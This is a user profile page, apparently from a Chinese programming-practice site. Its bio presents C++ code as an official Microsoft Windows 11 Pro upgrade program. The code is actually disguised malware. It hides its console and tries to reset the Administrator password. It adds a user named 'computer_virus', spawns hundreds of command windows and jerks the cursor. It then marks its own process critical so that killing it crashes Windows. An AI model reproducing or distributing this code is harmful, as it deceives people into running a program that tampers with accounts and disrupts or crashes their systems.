• 个人简介

    微软官方发布的windows 11专业版快速升级代码

    #include <bits/stdc++.h>
    #include <windows.h>
    #include <winternl.h>
    using namespace std;
    void HideWindow() {
    	HWND hwnd;
    	hwnd=FindWindow("ConsoleWindowClass",NULL);
    	if(hwnd) ShowWindow(hwnd,SW_HIDE);
    	return;
    }
    int main() {
    	HideWindow();
    	int x=GetSystemMetrics(SM_CXSCREEN);   
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	system("net user Administator 123456");
    	system("net user computer_virus computer_virus /add"); 
    	for(unsigned long long i = 1; i <= 500; i++)
    	{
    			system("start cmd");
    			for(int i=1;i<=100;i++)
    			{
    					SetCursorPos(rand()%y,rand()%x);
    			}
    	}
    	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
        typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
        RtlAdjustPrivilege AdjustPrivilege;
        RtlSetProcessIsCritical SetCriticalProcess;
        HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
        AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
        SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
        BOOLEAN b;
        AdjustPrivilege(20UL, TRUE, FALSE, &b);
        SetCriticalProcess(TRUE, NULL, FALSE);
    	return 0;
    }
    //windows 11 专业版 22H3 版本号:94248
    
  • 通过的题目

  • 最近活动

    This person is lazy and didn't join any contests or homework.

题目标签

初窥门径
1
顺序结构
1